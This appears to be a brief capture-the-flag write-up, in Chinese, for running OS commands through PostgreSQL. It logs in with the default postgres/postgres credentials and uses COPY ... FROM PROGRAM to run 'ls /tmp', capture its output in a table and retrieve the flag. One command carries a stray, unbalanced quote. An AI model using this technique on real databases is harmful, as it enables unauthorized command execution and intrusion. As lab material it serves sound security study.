连接数据库
psql --host ip -p port --username
账号:postgres
密码:postgres
输入命令:
DROP TABLE IF EXISTS cmd_exec #执行删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text) #创建保存输出的表
COPY cmd_exec FROM PROGRAM ls /tmp' #执行系统命令
SELECT * FROM cmd_exec #显示结果
得到flag